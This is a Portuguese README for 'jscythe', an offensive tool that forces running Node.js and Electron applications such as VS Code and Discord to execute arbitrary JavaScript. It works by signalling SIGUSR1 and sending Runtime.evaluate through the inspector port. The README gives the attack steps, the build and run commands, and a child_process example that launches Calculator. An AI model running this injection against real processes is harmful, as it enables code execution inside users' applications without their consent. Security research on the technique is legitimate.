jscythe

jscythe abusa do mecanismo de inspetor do node.js para forçar qualquer processo baseado em node.js/electron/v8 a executar código javascript arbitrário, mesmo que suas capacidades de depuração estejam desativadas.

Testado e funcionando contra Visual Studio Code, Discord, qualquer aplicação Node.js e mais!

Como

1. Localize o processo alvo.
2. Envie o sinal SIGUSR1 para o processo, isso habilitará o depurador em uma porta (dependendo do software, às vezes é aleatório, às vezes não).
3. Determine a porta de depuração comparando as portas abertas antes e depois de enviar SIGUSR1.
4. Obtenha a URL de depuração websocket e o ID da sessão de http://localhost:<port>/json.
5. Envie uma requisição Runtime.evaluate com o código fornecido.
6. Lucro.

Compilação

cargo build --release

Execução

Alvo um processo específico e execute uma expressão básica:

./target/release/jscythe --pid 666 --code "5 - 3 + 2"

Execute código de um arquivo:

./target/release/jscythe --pid 666 --script example_script.js

O example_script.js pode exigir qualquer módulo node e executar qualquer código, como:

require('child_process').spawnSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator', { encoding : 'utf8' }).stdout

Pesquise processo por expressão:

./target/release/jscythe --search extensionHost --script example_script.js

Outras opções

Execute jscythe --help para a lista completa de opções.

Licença

Este projeto é feito com ♥ por @evilsocket e é lançado sob a licença GPL3.